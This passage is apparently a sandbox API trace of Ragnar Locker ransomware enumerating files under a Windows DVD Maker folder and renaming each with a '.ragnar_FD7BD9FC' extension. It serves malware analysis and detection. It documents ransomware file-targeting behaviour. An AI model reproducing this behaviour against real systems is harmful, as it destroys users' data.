(in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.405] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.405] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.405] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.405] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_performance_Thumbnail.bmp" | out: lpString1="rectangle_performance_Thumbnail.bmp") returned="rectangle_performance_Thumbnail.bmp" [0079.405] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp") returned=".bmp" [0079.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.405] CloseHandle (hObject=0xffffffff) returned 0 [0079.405] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" [0079.405] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.405] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.406] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.406] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_photo_Thumbnail.bmp" | out: lpString1="rectangle_photo_Thumbnail.bmp") returned="rectangle_photo_Thumbnail.bmp" [0079.406] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned=".bmp" [0079.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.406] CloseHandle (hObject=0xffffffff) returned 0 [0079.407] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" [0079.407] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.407] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.407] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_plain_Thumbnail.bmp" | out: lpString1="rectangle_plain_Thumbnail.bmp") returned="rectangle_plain_Thumbnail.bmp" [0079.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned=".bmp" [0079.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.407] CloseHandle (hObject=0xffffffff) returned 0 [0079.407] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" [0079.407] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.407] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.407] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_postage_Thumbnail.bmp" | out: lpString1="rectangle_postage_Thumbnail.bmp") returned="rectangle_postage_Thumbnail.bmp" [0079.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned=".bmp" [0079.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.408] CloseHandle (hObject=0xffffffff) returned 0 [0079.408] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" [0079.408] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.408] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.408] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.408] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.408] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="rectangle_scrapbook_Thumbnail.bmp") returned="rectangle_scrapbook_Thumbnail.bmp" [0079.408] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp") returned=".bmp" [0079.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.410] CloseHandle (hObject=0xffffffff) returned 0 [0079.410] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" [0079.410] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.410] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.410] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.410] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_specialocc_Thumbnail.bmp" | out: lpString1="rectangle_specialocc_Thumbnail.bmp") returned="rectangle_specialocc_Thumbnail.bmp" [0079.410] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp") returned=".bmp" [0079.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.410] CloseHandle (hObject=0xffffffff) returned 0 [0079.410] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" [0079.410] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.411] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.411] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_travel_Thumbnail.bmp" | out: lpString1="rectangle_travel_Thumbnail.bmp") returned="rectangle_travel_Thumbnail.bmp" [0079.411] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp") returned=".bmp" [0079.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.411] CloseHandle (hObject=0xffffffff) returned 0 [0079.411] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" [0079.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.411] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.411] lstrcpyW (in: lpString1=0x1eb620, lpString2="rectangle_widescreen_Thumbnail.bmp" | out: lpString1="rectangle_widescreen_Thumbnail.bmp") returned="rectangle_widescreen_Thumbnail.bmp" [0079.411] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp") returned=".bmp" [0079.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.412] CloseHandle (hObject=0xffffffff) returned 0 [0079.412] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" [0079.412] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.412] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8175a480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8175a480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0079.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, 